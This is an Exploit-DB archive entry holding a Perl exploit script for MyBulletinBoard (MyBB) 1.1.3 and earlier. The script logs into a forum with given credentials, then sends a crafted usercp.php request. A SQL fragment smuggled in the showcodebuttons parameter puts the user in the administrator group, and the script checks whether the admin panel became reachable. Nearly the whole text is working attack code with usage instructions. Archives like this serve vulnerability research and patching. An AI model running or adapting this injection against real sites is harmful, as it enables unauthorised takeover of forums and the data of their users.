MyBulletinBoard MyBB <= 1.1.3 usercp.php Create Admin Exploit

2006-06-25T00:00:00
ID EDB-ID:1950
Type exploitdb
Reporter Hessam-x
Modified 2006-06-25T00:00:00

Description

MyBulletinBoard (MyBB) <= 1.1.3 (usercp.php) Create Admin Exploit. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl
# MyBulletinBoard (MyBB) &lt;= 1.1.3 Create An Admin Exploit
#
# www.h4ckerz.com / hackerz.ir / aria-security.net / Myimei.com /
# ./2006-6-23
### Coded By Hessam-x / Hessamx-at-Hessamx.net

use IO::Socket; 
use LWP::UserAgent;
use HTTP::Cookies;


 $host = $ARGV[0];
 $uname = $ARGV[1];
 $passwd = $ARGV[2];
 $url = "http://".$host;
 
 print q(
 ###########################################################
 # MyBulletinBoard (MyBB) &lt;= 1.1.3 Create An Admin Exploit #
 #           www.hackerz.ir - www.h4ckerz.com              #
 ################### Coded By Hessam-x #####################

);


 
 if (@ARGV &lt; 3) {
 print " #  usage : hx.pl [host&path] [uname] [pass]\n"; 
 print " #  E.g : hx.pl www.milw0rm.com/mybb/ str0ke 123456\n"; 
  exit();
 }
 
    print " [~] User/Password : $uname/$passwd \n";
    print " [~] Host : $host \n";
    print " [~] Login ... ";


   
$xpl = LWP::UserAgent-&gt;new() or die;
$cookie_jar = HTTP::Cookies-&gt;new();

$xpl-&gt;cookie_jar( $cookie_jar );
 $res = $xpl-&gt;post($url.'member.php',
 Content =&gt; [
 "action"   =&gt; "do_login",
 "username"   =&gt; "$uname",
 "password"   =&gt; "$passwd",
 "submit"      =&gt; "Login",
 ],);
 
 if($cookie_jar-&gt;as_string =~ /mybbuser=(.*?);/) { 
  print "successfully .\n";
  } else { 
  print "UNsuccessfully !\n";
  print " [-] Can not Login In $host !\n"; 
  exit(); 
  }
 
$req = $xpl-&gt;get($url.'usercp.php?action=do_options&showcodebuttons=1\',additionalgroups=\'4');
$tst = $xpl-&gt;get($url.'index.php');
if ($tst-&gt;as_string =~ /Admin CP/) { 
print " [+] You Are Admin Now !!";
} else {
    print " [-] Exploit Failed !";
    }

# milw0rm.com [2006-06-25]